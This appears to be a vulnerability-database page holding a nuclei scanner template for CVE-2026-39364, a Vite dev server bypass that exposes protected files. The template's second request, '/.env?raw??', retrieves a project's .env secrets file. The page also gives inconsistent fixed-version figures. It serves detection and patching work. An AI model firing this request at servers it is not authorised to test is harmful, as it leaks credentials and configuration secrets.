Lucene search
K

Vite Dev Server - Directory Traversal

🗓️ 08 Jul 2026 05:22:06Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 18 Views

Vite dev server allows directory traversal via host option; fixed in 6.4.3, 6.3.4, and 5.4.23.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-39364
7 Apr 202619:12
attackerkb
Chainguard
CVE-2026-39364 vulnerabilities
10 Apr 202602:14
cgr
Circl
CVE-2026-39364
6 Apr 202612:12
circl
CNNVD
Vite 访问控制错误漏洞
7 Apr 202600:00
cnnvd
CVE
CVE-2026-39364
7 Apr 202619:12
cve
Cvelist
CVE-2026-39364 Vite has a `server.fs.deny` bypass with queries
7 Apr 202619:12
cvelist
EUVD
EUVD-2026-19873
7 Apr 202619:12
euvd
Github Security Blog
Vite: `server.fs.deny` bypassed with queries
6 Apr 202618:03
github
NVD
CVE-2026-39364
7 Apr 202620:16
nvd
OSV
CGA-4H3W-3VFR-57MM
9 Apr 202614:45
osv
Rows per page
id: CVE-2026-39364

info:
  name: Vite Dev Server - Directory Traversal
  author: ritikchaddha
  severity: high
  description: |
    Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../<filename>) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s "server.fs.deny" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.
  impact: |
    Attackers can retrieve sensitive files like .env or certificates, leading to information disclosure.
  remediation: |
    Update to versions 7.3.2 or 8.0.5 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-cw47-99h4-q43f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39364
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-39364
    cwe-id: CWE-22
    epss-score: 0.02095
    epss-percentile: 0.79414
  metadata:
    max-request: 2
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2025,vite,exposure,bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/.env?raw??"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "export default", "data:application/json;base64")'
          - 'contains_any(content_type, "text/javascript", "application/javascript")'
          - '!contains(tolower(body), "<html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100be05cec84e7dcc8ab0f3cb407b432253b1835725db603fb43df263b58f44428a02205d6668f1a5c9f0ca2389bb0918c8eb7008659b18d06833e52f188de864118029:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2026 04:16Current
6Medium risk
Vulners AI Score6
CVSS 3.17.5
CVSS 48.2
EPSS0.02095
SSVC
18